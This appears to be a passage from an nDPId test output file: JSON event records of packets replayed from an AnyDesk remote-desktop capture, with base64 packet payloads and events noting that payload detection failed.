cUdIhjNmXrZB+WX34LFSBU4dZfXvCg51TKeWyv\/2RSDCnDKWsAIis0O8QUgR6+XiqHpIEoW1hDdVyj0JTZdupSwsln75\/QxWCwinENwsOG9pc8XOltsBa3FMDTTzZMKqxgI5pWqcq7x\/evf\/TRIVt13TmkyXoDyJ6+h9S\/CfqGZYzW\/MU9abE4\/ooVdgOvgr7NtbFCIfOmD3SdO03BBeHNGh4+I5VwjSTd44V4YdWFhf43jyTEZFr8Weu3yrsm4sFCAhxofsWwKNfSIktt4\/x875L9nEBYD03eIK4sKe+NNOcVyHwlNfmqRBk0mUaXlWGluHcNgpybbaERN5AnlqVwzWjbw1t3cvLk8nqCbOMMXA8qClAJbyYnUIu4fZivjnT7OwREWSqRMobuIVu67sLtdnO69pgBv3haz9zdr\/y56XdKenf\/ZKXxhwaGu+9bWLfMU4x7GV0qgAe+BzTxsx9Wq5+S6pPUm3TsLn7oqYLO3hZ0uSsoFcT8VA9AoM76vfGBU4jAnr29q6Pik2CmaVZ+E7W+vEjexNkz+6\/U5Nk1FeBcRxOhrMQnoUCkbEHKPUw6wbSS\/0DDnEknFcAB7klyP2vinKNPymKi3ueOZQRRgfrbS81knEXMpQWOzXC7jbDOWrhMbh+zRFrh1IG4B46\/1Ofs8PHySwZowrrphbH+2MzLkXOV4\/ZoORtG8sOo06sQ+Cs5CCiYHr6lVRmQxUHI+cdyqFYVPEd7FZQ\/DbKbyIeWej65sSt8mT9WTavWLbDiMyKdRoskrdB67MroFhoqfgc7NtIg5deV5EjJhrabPL7C53EVofQ4TvVB4E7xmMyfTkN41lycaOO8noztde4oVIX0j5rL7wNUJrCa4Eq2+GFxuF2TjDAU4sRPq91rty+NilHxQpNXsDQ+GvL6zR0iYbjq7Hq+ZizwNrFkHIDkN0zkzvp5vSH3Z83Vvv7e2rzAgo+MEx3YAE\/dmLQGtqvV0Ouom\/EJSxdFFTfPlvlpCvgC6IT7eHGE4fIAp7DPf5Qz7gukgP9TtqoJHooCcIwgPmOAJbjoiD9wb\/oYAkV5KeBthoaO1npJPhUdcS4BNKetQm3qYGRbMFhGdMvmMCyLlgu2eCm+SNwdaYbHJtcPkxMH91iDEsucMINDrgVPtgzUT8EsI5xCmOudYuVPAQJ9IrjYsv8rnv4OWk9p27NQ2nnJV5MMS6D+U\/Zg62PtwO1pHIVjn+1Bq11S\/erbLY24CjM3bLScv+8NeRVyPYk3gVwWYl5yD4W\/9UXJfo7BMMXzFCb5z4t7d3Hr4CGUVfWXre8AUBTKewPUeZCmVCohXwcLNP3oijLlNloOlAqvyo\/k7wucnaLhe1SeGBppLtovyHkeaa3svV7feFrD1JD3+wuSbgU9jId8p0MrLOX8zPt8CVJWubbzqOeVa5DQsr0Gp2s6BMWf5JNlBL8GJYJYX5Nb9aEnBKA\/qKj0iqEa3TGV62j7gCHgoOuE4FNG+upv1DLOxQ1yKy1sAswJgXxmHBO0QMj1fZdknV5WOk\/tDSpDROPMAF7E3aDFdvCFT11OuA24xq0t5bw3InJvs2TeI5e59392sMzTUSvYy49vgJRi8Z0LIZiFPwnhvlrWgGuqpHVqIqdwAgzhOycqbPakNjJxQL\/Fi277nmg0cJ6an2g3YTJgn\/U\/Crbi8lbtx8RwcX550K6HaTltUuLu\/WgVWtvoL8mgsNMyCdEPIrWvii7kejRP7Zyh5ckhTt4vHrFubD3jePQo6MGUjkZWg0ieSBGjASFPgqlnShveLYZPDVr3zIak3GV49MXfVe\/rPVIlrTcBZAfJFCIra4\/q1wcxjVu5Vaw74qi6Kmo71NRa9Lefwy0w3G+uBWb4T5WhyJ8+H+MDvke4QacfP9GrsjjhJIBGAL3m7QDUXs6e9Qqo5SHQtbqB0HVrPc6qsTbAW2geTlniqoJ5XT8o\/fzvin+7GCCeTH73HLZON7E1qqIz8mLTFP0A\/iSFR9Li0r44fQPGSKY5xIt6RsNwu4J6LoAA\/eESMzDazksOTAM6w+oVotk2B86BwgSqXw8g\/w88nTag66aYALEvzeUxPoOjC\/d\/bTdGnLS3EWT\/Ejb0hp+7rOPAZxuEH4omPJh9XFFBZhZDSW5Zpv591iwZn6qRLQgRMNXzxwkgXwfcCbgt4d3IUvWXl4bFqjIYgT\/1fKYLjCGIyPcIzvXtXBvnRq5mw8ZMaZ7fTSOOfUPyp7V0R+loAYEKjgsptAqZcTDkkEy5ZNV\/kKuczUzKQ4Jl\/m4qG4mFdwSEt1XawBjgyLUDvu\/iktCNPmG4mnKs0aM+PFzT7QK7HhkgT12g6qe9AZZZ9P4VAzT4hPxECcL\/uCINEOK3cVfeyHg2czKKBsH2xHrIp5e5hHhE5sBpRkrl+9uuntiInCTCHQIO5Zj+uPJXEjEbtw66hajFnPOc04sIQIoz9+XunLUy1Z9z6K9JiHgbMWlMJrwPpNIvQm1fM\/VI0sTFrpRDhiBfn7omXA659z2JaRjRgWHS0d74k75oW+7sxts4mynwJjQIXNwXo2fJKJPTHXaD2OhTnlLreIhC5mihKNMXPaEJHquNnt7WwvNshzb6Fp5JP3\/dILZhmh+U+8noqCpGJT20wrLtUcTgF5N\/2Olnb8pwhc2ie9T6iEE9HXBq1iJGuVV9L3hb5ECGVNFhrwKTPV3be\/C0P\/KNva4ECkNWtk0CAbE8RCr0N02uGU9P+uaALIao3lQCLziAFZVL\/6i0p4cK6WpT75OGhAcyc9BJrc2fQkT4B30UZCb0aZVn\/YtDbSF197FMJGJoxztwFLmeWmiCuBZl12qSF+PdsTpygRgYy2vYQ3F\/YRy4RUt62Xjg6tJQi3kege4x\/HKNROD0S0X+4QH4K4alGZQ8nBXY3e+RLMkM3kGM2hJEveh0Ek3lcItLiFPTaJFL\/9DEXXY8vPAP5QUjlAi\/MyG8CDxCkyqtBQI8sV8nENLsaJKaHKf6Z5CExO2B\/b8ZfsvHMECHlhxqMogyYiVatOsxtPmOLXZ56zF7rN21Hmi9Gzxne+0qj53WgUn13kPe1kuzyeYhscMhb2lBu9+uMPM3yJ+vBrXIhG4VSxWWzS33VHx2P7BLmR72WayB83ecEa9toddFdlflEJcg3yNMCy1pPCNMl3wdNGIgYSxfm4iZDTPbg0zSen6oERptSi5ceOd\/Rqk4+zm1EI+KiOSFSRbBLWJY2WPWiwg99PN9W2ZekAIYDPdOwQWb4NPPSFhSUQXDElhhyglICfhhUuhUa6oGyn7EjpkxlzOHaFmlySGg\/7hpb7d4Uamgsl2KWxpsuUF4KoaD+bYDvCdr9m93mk6yoF4qj1Lbqubi+cbGu8yoQF7M+b+KHkA7dRvzHilsp0dV9ptrAtvp6LUgSMQl0OXvgancRvHmrV0LFtHnTVNDxvM6Kyds\/AXY0bcZKOB\/rdUpJaN97Qv0AIMMttCuCgMaVIfFlc9YHZ+ZNaSFlEE5qeGdORwdMol89ppe1sZdTXvqaPE1UrK7rjB\/OBDKFdyfiR+gYlrN06gwQX2kA159mHj2rcm0v3R9nReNTf8drTtavrYzWvaB+xC0S2yA\/r84autmCYl5YXRf21F\/oEeHA6Hn2\/ChY1adBAIPCbBNQBsAUEfIywJl5hHlSBB1yaG8YQrcAm945BjMR5+FAZr\/ixtp8mdQBdAegrG1vO4JRq8wMi\/nsGN4HtsR3M\/xGZpUNXaKux1rGLKlLY92lmtuL0rzvSG708FH4t9XHNOA6RXZ0oQVgtw4i0PWNe+bU7EK4\/vuiFKKXs9BjEYhV5w8I7PgCZHr099u7X7p22RTJFzEr0Sj7IY6ML5QhJ4qkyz92Qfwode+C4YNq\/8sDxPmbplWnCMDxNg1fe50R\/AzD2icg4\/HLhXouIy27aej+3RDV+uFX9ZwVDJRqr\/5oSdd6YndBJ4OWEUCb3c624LMxQ+48ijp9t249jzcGgnQRR4X+slUAsIhpIrjf1fsJMsGpEpORbThhP8Kbc2c9YQbX4eezXMxnu1guwkJesZ0HNcuzwMQHMRpoxaheChtk\/RcD4viQ\/b3\/\/tkKv0FvzjUuLsrxTZ5V8VCiqCM71hqpe5PkDLgRpmdlY8M1b\/P+rGnknfw2cyxJDrb8nOwoFBJyXhKePebwdzTv7FNaQ65K3p6WgS6vqobz1wtyUSZbqd9DzqtUC532BZzI6AqJKX2Ptam+wgdz0Cy+A5nl19nU+QnAp4bUSNwou9x377j\/9Gp7NTqTdYewDlkwo2Fnaqoa+T+xTr+volbiXczI8QD8VTH9DAyVP15TQ6hmDjs9eCasW+xekBAhmksS8FXNopB4U7eO4SEwlRP+Bc7mNFJ4sj1fWvNfMEbov1kBgI\/rQXEWFsU1zBUZt853K3lFtCToJimllsyqmUkb3tV4RPS9MCUSO3anjXY+rx\/xMZy6R6uVSFplFB3lU7ljXFXGb79TAmNMJF5fzTUJVcQwRmkzuQt2KgbnY42XsFcCPkiE\/FtRsQa5ShUtoQ\/zCSrCVnUpQv5W86IhWq1IbL\/N9AYz18W8vF\/6IX0kKVVdty13E2eXwIHXT4mgAB9MHZd1gp9KQ3lrLrMWlBGuJd\/qRleREOCStlATw8dBt4NtaYL\/G0wR7YJW82yG5Kx+Zwexu07kSDviewFF8gId3JvG5eHYkspI0viogKFIx+ksF1HIQgyQ4+Aq8CEgOz4+yR\/HyD\/Tk9CP\/x5zWMjhhu5HzVwUCOH9xOSPb88FPNpxbXV25uMKcJUU5YxuC7FDcDZVY7SNZwIuj4ubuaDPT+CJuzkimX6geOqI9uX0Z+jQrdtVAnf1lsJ9MZOFbZH\/A\/TxKpUtpy1kjcpB8GGlXzV2raPVMH8g7Y9eFtJe+ZHqiGV5EPvAyVdKCkNTx6FeZMZioOIfKyCbWHZ4Clbh\/OJYoLRhu+a26X8Q3Jh+bCLw9eJJkLfcTN3+IuvZFul7r5tHcXQCpexHdZ6VT3YPs9Ils9kVLQQJADEJh9xLX9rxwoyrVSre\/p7a1BBj+AO6OpyjWIJjVvRkOKeLQdJKP5HOsQkw5R0N0rf7cNStiwwg773c63155q\/MXm6\/dB0N9Qsx96rUjJ7FfxA0xqa6VOylNGB9gnhuoL3XjdzK0vE2H4Flt8qWsXd0j7czA88YaKpu1RkYt7NqaQA3+rK8M4FZebUh+Pgi+fQESqEQN+IEVvsRsk2YyV9yNPy9kz8E+CPxeAaWrCZfwj5UxKrUnPd3nrRfO+TkEXpuDsrYUNO1z5GjYH2pNjOkhnlidv37omgoWpZDn9Y9jC9uHCT4J1gXGTvRH5+Af0JdRchXkcQfkTv5EDrp+6hQ5lxvw5U0iZvm3uJ37Z\/4FRA+lvL73dOL4\/0Hws2ekfBmHEiZhJoPLxQbiaQXajp+ePPmjbmy4hRreNPgdi89heInyhb59xDSmXXT8d4198783uJYXwKscb7lunA8pSa8Ywax2y7gnRF2XR8ctiF9s\/c0RA96\/9pzWoVuLTt3VVInZGHIHf\/KC+gYyieZVs6q250nmDIgTaWDk9a8psC9p95YRDJ7DX1RpmIcUH65bpgryJoNYA8n9NvWuLd\/zH\/qd\/vjt911QrDoEDumv0Z\/qm2dcsh5rqN6LYE\/1Ol9rbY754XKf3A"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1990,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07835{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1992,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":743013,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg0ZAAIAGAADAqAG7wKgBstOUG56PLmpzWcRHEVAYIBOExAAAFwMDFXpZ4hNO+msWzCHWpwvpr6VOmxdetIKek\/GfWiRkUnd4Nnvseb4HD246FvQf5s\/ymyjBM4UM1wb8A19SHOY4e\/jXzbwkJl+OlmVKsGiU1szz\/74f0qg7hmF+UtnrD0TFqlI52yTDVVaUkBzViApDBRjwffWJXSBPoy2ULRYJusP2sbdhAP6XIhvPTZiEkXJiisn7oPhvijnGFByRmihpvYKV26p++XGP2p6gtNSTO21\/JMm4ocGH8jH1yAyZnnewhHO6JMeg1T0Bq+yPb1\/iriG6R6YXAXeH+TVuOtfwe2xWH\/dpgZuqSY76xsYPDVu8GRrR3VX9EUujsa3HHQ4JY6ER8KpMTq037Bp3VyQoQhwKu15aWGRwMnfDvSFrJqyR9NFT+Cv6lDsldcoDmf+bPPacSrOYmSd47l5LQoweTe4aEWINXTe0piRd6Fop7MiE8GdV4TweWAlaSZuBdUxmvEf0fjJVENNv1oN705V0yxH9NHFfqWzavA4tZX1Yt4r5+7S9zH10kNjONGO\/SjnGfnG6UGenYdcrkM7Tkwf9e\/\/pbMmjdiQnrzset8UhjKB37LKA4INEm4vKU2Sg8NKohDsBnueQVMbuW8KkJYFqDW+CVGT9gBREeIqeBoqWeqoYyCqaTtUw5VxqGIx2Jp7Iua7kUq5ISK2pqoxR1KPQQYMTEEq6zjwMycYPm6XaIDE0reUBCqT+IathWAret2gpEXL+nPEFhqPPs1vdEwhtxF\/32xBPmJjJ5xO7psEakLewksDQc\/FKuUORlEwzGE3ueC3EZR+0PvIYJFgAVjyepcX3RwIngKR0KDT0e\/QwvXFeD5zdKE761qz8fZ1tnXg76EyixvjLOSmNpqBu1VMAfiMOTjnZU7W9y+i4wwH8+9xM+Rssk4d9XQByHn1R647zHqJCarnhRV3aoV19+H+pUKw31Hwc5rKKbzmyuRoYqZKmzDqiXe0XP1wy8RI3ViVC0JUPdW\/4UUAQU+Xj9tyLpfESzNmFgxIjnTR9Lj\/NbtsDPFExDmJN1lIbV1itXOhNnA49WPts3GAGTSBbZ7xsTOk3HriRzK6UWre79rvq3sqZpMhWM56MmIzI\/dsCUsm4wbRhXek2Qx3ZgBj+faqmXbeDNUiZhcFVcK2Cae6Z8qpIfiXxSTbsBR12uUCArvMrnzVqHHLY9RQQC3cDL\/vuAzUd+CQi1\/q2CYI3RRgGdTsYEifodzQ+18QuoQwDX3U2twTluHzgBESe1jyCJAzgQDWqbb6P7LJfS0t6R2gnlzh7iaV9JIyhxosNrwZToVcY81n8ueXdmBdp422Ko4ndgjlf0iBT6w2o1kBzHxCRQ\/2FemWlNTDwXBwagzb6wRmmuuWmzS7DEuZoV3XjtkNofdr29bJRIFoUf\/dZCCeYkOM3YEbCA8qXgxatnvdugjBveHsLqVqP9Bwl4j+N9SkG5pqyAO9vN77rlcOWV0LEDs3Qi6AGy14P\/HXe4lTdXGCEOzp1JiUs5I0bkOBpqeBPSYNeiKjCc\/TCb9bs0DiXFIfjFMjtWQ2HAl1PK5Dr6Q3JrtwrEL4zaIbP1Bjfb4iChK6GnSLl+6jaEtEKlIoUmzUx\/T1ssQyQmEXuVqC3VjrGAWleUZkmJl4xAItxH7jF57vw1CwA1BsmDzarMd96b5FeuHEsFPyHqmDJwbSdrh\/RVnUMLYwJwKHyAPG4q9YehXN55z9X4JC9NRuE1Tvh3eXzehC+3vCBZYDeJGHy6Hs2bftoNe8\/XQLoW998guG8\/AWpkutqi2dg3sBdOYWSKY8Xad13bAVnmZ7y50d1k+qeHa3kijAh5DcU7bNhjCKD5OaV3jnBvPvIQR1bRbUaCTHz+ATYFralsIi+eUabSy+WQ2DrZbL5\/N6KSEQU0XKccvX519u8rb3a40eGDbpkeEQMZbw5PxXFSTLAEOB78UsDxZ4sJzZex3dg4tqdVAYdKrQ8jmrxC46POsq0t8uNGQRczbPnblb6WEPw4Ng52AmKwjqDldHveM1ctrR3o8Xvcdsz7FfqS5F1zOpKCWADu73\/SBdOtCXnigOXilsGBXikhohRz7QFIvmIyO8UPZpUmHDsP\/wBonJQlLz3kQlpKSOs6n65KW6bwQU1dlC0vzmBJguyMOLT82vKRFZObGGnqvDOSTTiX1irz0NeP6yXb\/O9oW6kxe1LFrwiNPb9Zn0H0xtdluO8HTlzklKuAgUYG25qZ0HVAY05MwWCcgL\/3NQsVS6AuDCZiBcozOU8IMZ3nhmiKCaSb\/SCMOKNuFUkvGTdey+R13mjfcaAQxhuVex8X5fBvSRIiHQzWZCOonRkhHFJn2gEgLL7Zv\/M807jloahTgFXuCFcThPrUip\/1iaPl++ibiP3IOmxYLrdcbdAeRb21263p8MQKFB0CtS\/oHz6dbC9yj6UJcPpU998\/orrt+GyDSuQSKme4mHVkd49iPJOQ2lPu3fQs+UL+sg\/8y1IiDxj3BYOGavL543znEunyc+VYcVRw3lVDdI+eXHMw777SghRRUdVEiE+Pf1W8xUkeJtbZZla2yDYxnmQIcDCanlAvOMAzAbtppnpedB5Nx33AftBYHmaaMfo6ROxWKyyj+I3ndE9H5NS3X5Pe724ETDVxgq97lfloBeFQa1jzSCmxL70NvtjxX6Ala6VWjIYCKC1Htt3ZR3LS9hi7c81xXNzGaHOg5PvM96SbsPaOgOTlLFROe3Ts91l6NBuomyXXOJTZb6FxNLKN89v4dHQxcnZjygqF5dSM6ye0U+3jH0XX6S+ZkCMZaSEPkYjS963R+VGpR8HYbSmisfTxkNTFqaVU2mDCRQM9nUNTAxfgAyE3BQeeOChkZs27dn8jBO6JpowgQUaQ4pBpofaLl8zENvOgbgucvnY4ZkY1zyvycC3uDYQqN5g4Mdjde0zVIJa0IBoy+ZE+kgSIbabnwokc7lwFRljjuaNkvAXkY0HLEVNiXvS2PXjn0gaAy5BMWv5N61\/hs5zPba6AZ0fmcjnhshkhwCd+l4ZFLgJRHqsp\/ycK\/rvvl51OeQkg9GOaJP\/o5f\/K2KBaJIuRnfwLFcKPNjZQEb5JsHkgbAiO964YdtbG4dVX0z80ZqF3QZxG49+xzYN7PsBqctr8RrEq8H5YKtmnAf5WC+5PshdW+NxgdeNjA6r\/Lz3ezaNk1\/H0ODwzJ\/VT1Xm7t41TIgdxmNi8HtPJvu5+zLaRwdfiDdmpCzn42PUTF+J5+R27WGPX0RDNY8Eri3snlLgYjZg155CLtp3O6Ne9GnRobYp9mau4Jh9A\/98MhBypAE7AQIGj6lr1XbO7WddNfkeycnYAmdV7jJMRnk+lFzFfEyAFW58CiP82TgafkHkWiogwy4ucXy8vMh6S5VDfpuKGjxMmkLk374B+dPywcypl\/cvx29+FoWqHcdhM2PkJwbKdhAQJh62o6KTM1l4rbHwpY4\/PZ2jNxU0T06CXo3ZKjDrg+cOFo5CH6ZPoy1BMR0JgrZMYyrfWQ0ONuffvi9r2drVh1ZN5qiVA9dQMSdK5kBjMNngW9RYhWJj9S4BVMGrD2KKRyuqU\/GcodpwEXtPSqo4crV8MCK5XOtoyw1b\/9Kxb\/j\/3y0OinssPx3FJpuSkDd2VCd\/H843PzS2fvEHioDR+H2JEGzqIvA5JlIilCh6MHi+ENASCUgvop07EP5GWCgk4Xo+T8tBJr5+rt5K7442e9Ew8j0oWhrDERLsbWvkaFeJupuqFXXWfCpB7QwfHixSur9tbyk29P8XQyx5q6ms3xfxVXUSqFVI3sdg7JbTfztRy2d\/VtIjKA9laZz8pkOqHqiPmvi9+V\/sdfA0elIcGafdaA1\/8LoCG1vUJvDApM6OzOXhHF8LiYSs\/jd1QuLefZP3je+w85dkfk5+sEBrl12HSg2NIXvPSnJPLs15JtAAU45LPfAanPbcSQqRy1bdbq+LvYJvHFn951wscb2zpxSMvVklVNKhsLmUMZjbI6h7ljW6rtvBniKKSR+qLuH04cFj\/ycW49YG+41L\/6scInhRqAGyUDya\/3A0sVQahYR3LYC1zPIgjPNlw74k2wk9zg\/gWVxLtsacJUgckeXDU\/pNBNlJerDl\/YGoTFU2e1H+xQCytf4IL260rHTBh5XuyNQeO+eoBrrXnJIihe4OX8ZC8ragxTiWr7ACWXEiaExCdK55zkMAifQsYPnxcJlJFpPO+Hg2FOt\/K\/XZxBKVW0Ee2E0nUdSHy1HEZ\/S4p5LSjqoBWPPU+RzAEObALYqYWiDbeZmWpKhhHBUfbtfGnbGn1P37NIVto2jLBIv0Q6CkU41ihqc5BQwZ8HWwi59jWIIoDRehfxfZNizJfB1Xx\/aPzVOcHKo1ppOtQHvQEWid9sA+Gk6SY4Hwbkl07H9z4qVSW\/tIHhn\/aCR6dhO83L\/tHRV6s+RsC78Ki8sP3fhGTnR9R7zSW76ccG0fV52uvDMbs5F+Dt0\/0zAdALB7caSuXyVyZY35CIAavViMzy0SwzRPaWPnG7K3d453o5nbbhIJ404pwmHwhmqQ9rQ8muC1LnL2zJ9mlgWBhOVBMMSbDCf7EoMC7qtDzt8PgdbirielyzDCqQmE\/+tP2ex+m9AydsXk1URVhHgDBqIA5vxbwM+hgASC\/vrvK4mJ0lhVTeP0iMjXI1jK\/j2ZBbMisWsop195+BsnB3kmqIcJBmuKwj5fsNOy0BV0S8lwicI6Z9vn4x+FB\/0tBxJ0NbryK\/CRWtK9o6APLiSMO713S6lD2s\/dvXkAtMPsbnhFUWdsaiC1PpxGOpoQku2y4rAbFpaTTyCB7G2xgtT0RSws48feBm\/MMgIat8DVAwnagWws1tNxVxjXHnmBzXFvN01P0MTpcEiNHBfEQL2dg9x3g8VtmXlGMNgv81FNHgqRAk1TCSTFNBaReoJEs5Gq5LJgIa54GL6QTrxXTmVz80O9i9rC1V7kILVStZ3bMDYloX9O4u4L1vwsK+sQdzegmvFvX3PNDLF3SLy7XnorKp0I6a37wT+Fn7X3IUzB4ylPK\/zwrSvlLk\/HzMofNCw5dyH8mvfVRkYb3PL22tYDtKymFjXOuP1lgFrWkxn7LSw1PjVsBTScWW7vDWI85t4J0\/rm5Hrbg\/klcTXGORzD+2gFrbDu\/g05kOFb2DdSOs+j7VDMlraKkUAoYgD0XP\/WoEr7ubjx1f3vBi+5JlaT2UP9rHMpDc07OpsR3XZuaD+UAKCAy7TvD68bQ2mwOBHpjfGixhrjWheScwqiUBQhc7xI\/F6zLydIheOy81JxxH2ypQSz5SqdJUd2xii55g2bTQ9+44V8e17axaWGrFEdljwA4OBQt7JSJJRnk\/AH3Ko530ke7b+7UFT4c0SUdyD0Je2UBMo19TjuAA9kdYAB0dS6cyzmQDapnYtTJSuEk+XGPmy7hiALZ92oRuMO\/fDtsRpYIeyG0qCNMjJT\/tFPuqKLXnJ6Hh\/XxP5OctfAULApq9LhIa6tgXLFhFtX2p2fMzZONtFPr+Q+cq4vWrYn+rQfDrEzJHv+g3lqIj3b9LuJu77VvQ4gTXp0n\/9a1ZQgh6go\/EhOrdYvzF6Svb3uC18qpPYu9lHiN2vzih5flGSpM6\/co7QNWE8d7C70DcIdGIWmS\/55DmQ0zlRLBvEnKadbcV29sY+V\/7KzIUYnOmq\/76iomge14PkYB5gM2m5FBAHbUNqO4ZWNui2hapy2DbbDR2QfOTKcZMxRwMyQGObNjhIET9ld2xC6Y5DrOVR7it7+BcBByD+sLQhBQtEyzj++duMgbTFeB15XNjFI9ytBXj3Cnr1Tx8e9G8n+iXq4rO+lYAHlyWKIw7dCcBow1b84P+ilwuDguTuh26Lno4wsewV7ponjIxNdxt5kML\/ieqJAHOilVPsFVtG6um3y4PlPQ4iz1Be00lIzPA9K9VZ7hxQj7G4Uvh6Il\/N+I3D5VRyQJz91dg92FraJ1rze35gump0Noj6lwHwr9pzpd5ml60K4X8LH6vfvWklczHUOrEHoX5888Fat6B1EDXbE0Pw861CjFbOTXcYJQljJ+8hVt4fLx08I0fb0HbFBgTAVKrR1Si3FWZJGtc6WCiC6wJGxRlhPko7XqXJjkWro5hF9rf1QXjfeNHoTI+Bbd5Aicr\/28Af3VMDu2BqIo1ZeqnfEvr7AYXkA68bVDY84MZXzdPYiKY1WdyTl5OxhxCLmia17SV\/XFc0kUX80nWCXEA9ZmLlqC7Sv8\/K5Hpe\/aBr1SHH+Hyk11xAisz2uyKAyehRqZr+RmmII0nEJC6OZiYltsMhQ52kY06FLGFxnaI2Qn\/tnJMy0Ler2IDyAy7W+ULuztOjkha39LNkJ81I9Q7QjGUcQ02inBYbOk4gXqnJHWEv+lXfdcXA3oBOd8NBLsq0fAd13rlW3Gq1IJr1yHqWpXLu\/DYT+ikCNNgqLq8VCgiMliPeLBsOmeGhSVZoX80fq1mlpK6e8biEpflc4VC+09\/zsiciIp7plQz9VBDjGyHy1XOk9DjzEkYYeCI6gBZIDw4xOC+luoxS4EfB2\/rM1bfrleXJ6gat\/jRC8oznkOiHdv1i0wi3W4Mx67ZpX29CR3BXZ\/ho7zodi8RA\/n7O+zimeRP+3BHGvyetjSzQqzsMg6tr+XFu6BXOTMLKIED6VmE8YyxUN7E+WLJveapQnZygG4plN\/QSwrB\/pzaDi2VoU6nWMfbg2GQWkRvlWkgiFwY\/dwHo4nOIgv4nQNvqoEh5jzhdp4eyRHCBgbuFqPFueqI3qp\/bRdA3BgpOoKtF2JXlxgB8cQJjxEtZWCqiS9MZLZcURA\/Tg\/+WHd6YeD0RcDK5AdSzwfCttPUfStUT1KpnZ2zmg4BSFdAPYofUeqoHI7wbnc1aVRGYyQzqbwZ8fxdjNwvO3WqpRzJsfL+bWwfoco4VgDoImzeNtxqd\/qVU+l6L2iE46x1l0yVXDmv13PLq55KB3dt9TuIutRIMTVT8TS2uRsbST5cifdz65eUKRvW6+BgRUzLVBUo2cfgJ9n5SoCA0oB8MKCFiRDA\/YyEk4UHtw5VC+MvVgZhfuWDxy3PCop02aDiN8w3qeIOOm3JXGx4HWKGbJo863PeOgPRBudi5W5E29cQBZB6IJcRexlyNy8XnQkKKrNlNZu5hAjYT4c6cIDbk11ESe1xzW6Qojsqg74g5qbi6v8C5udYJOPyNhsAzERi9EOfsSVV6Fg64g9iWuiyAQb6tF3l9FgQV3irsL9uI7r27u4zxxJsdVlDYTcagogQJMczv7daQ+j3IBRTpg89f\/TYfo\/wnSU7k32hME0AHnVJ2c6OcvPTWhRQ9vuSpFC0fHKKDQhg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1992,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07838{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1994,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":743513,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg0pAAIAGAADAqAG7wKgBstOUG56PLn\/yWcRHEVAYIBOExAAAFwMDFXlZ4hNO+msWzXx7XMSO3sJ5GwOyClB4TAdRpPKdpkiwgMugls9umjplSDkkmo+ytsiQn6NpAfmk1axJcFFw9dEoC9ebUCofgra\/5QXfl4PQ0YMY6sht4IJ6LfZuQuGIGiMl6FoavOjrgwV7T6Yl2keckHsngTHs+KGdO6\/AEj6xk1afX\/llndaMBNGmkpp3S+C5a7iNt7UTy4uPV9PcMspOzuLpr3IS441T9eWjgsF0juJPmZ1SNLlMsi7rP9saR1vT8bXpAru6y8IVFwHWyat1ns7MmBFtZ3qBn0P1i4NPWkAeTJ8fObWuL\/VuFhFuCta7KGtxC920SVfzdKA7P6uVAyAC1hOMo3sn+Cka+ZcXro0hZRlk77ZRlXsnyKRVU3OYpHCkTbNpc\/w6clvaA1DAyzECisnmdMYXvHmHQFzYTk3ktYtKMRRjTR7FRK954HLXXSZ4KgJ1XBWIkBh1dctmD2K5RuGUF50exlY7dc26m24jdvnCPvE10ntsdVizfiB9Ljdvbz4Um0OZN1OygdrMotHq4K221Su8KgPCB9AZ0KIq5SebN6tD0xr\/+kQpLYNp339GHfeN98nV2C4pzg7EQHgRLaxVb8zw3l5+ww8Av9Yp\/aRjsue1n\/IIGAmOeCmEKRwGJWqkBgKphrkVkJuv5yMWnfExh9nyGzC1+gwpAs8AMNQfpQjv3B+GWDT+GAqbf5wxFXzRRKt+qca5UCUuQnSwpDX16VT0TPdOy1Ot5aTGZHOmSBk\/9yRKTIkaDRaeQqKpLRQU4KvWUi9z7HLzzUy4U2u1QXQWPx3YQKVpFHo4mYCeO4lzbwv2bYOlFCNffoBRmITYSN24YKXXO+Do0cbROH8AA7s9zaEQkanLQ+gUk3M6dL1IGxVH\/aWt4aM+ASJOEk1OVGFUE5HHLDz62jznNLuqMhSvFZs6fFSTfOZ9tmbMTdJNgKtEdcCmm6oyLYZ7xU3CI0ZWdi6c5zxGAfiPZB8ZhmgUqWB5ypu90B\/Zk56NTCgHqtpBu3fIOrPFcruvfGaAG4Ocw1VWJ1LUeOXl\/CVQKYCtDk2l2ChagfHL757Kmxz6kXVaP+ooxdCWRDhTEWX8su\/lTqMO0Zygddv54zfMS81BHfv+D6HmwkxWrgOX6SmMPidc+mEH1NWpOn3cAdNfpwbUgcE5QMRw23QTOZawyRxiyRtaBYC2wY2HUYc9bF1UhMzUVcFML1RjUHjjYGnxay\/rFDSi04c1e5lgSXcZbOlriCIUYkBrfuxRCHAqnjoiGlLaoTIhrR0TCVkf+vbRHxncnOMMN6b+6EO6Kwa4G6YLrSxfLzeoE13xlF\/m5+Tx7YpeboFmhBHk\/BIb\/VCz5NR4d7XwIN8KIHmQYlOhY8u1J0MjlXGF79dVcPR4OSiNBSDeaqdz4qsA1kMa+KQ97t6VpUysaHE0VD\/fGMAhfQb6w+btBoCLJpIkJ4aHMBTl2ztay4aQv\/BzAUJe\/LZAt8wCnVMcehk\/b6GwHBT1WWtSRoLksRaD4hkDfp+8219Ilw5dFLXXB+4qdu7L8BQgMxJ5KMZXA21fxcS7+AudCILWWmyO9HuANppR1fBh75XS6rxYcdYHNBIgcxL0nTkFXOCxCm6UO3Etz9WL06ktsaMOR31TP7NP67SjWMmqnNd\/DaepVQKN4P1b96MfFyKj5ivItpHC63J\/7qav3N1mcBCORpHOV+8GHtPDl4DuhNKjGp66rio7Y7Omp1EGqJJAg\/U4gYKZO9Y8cP3nuswMHq\/brpDniXXrK\/z9CDzkE+J+wd8lN\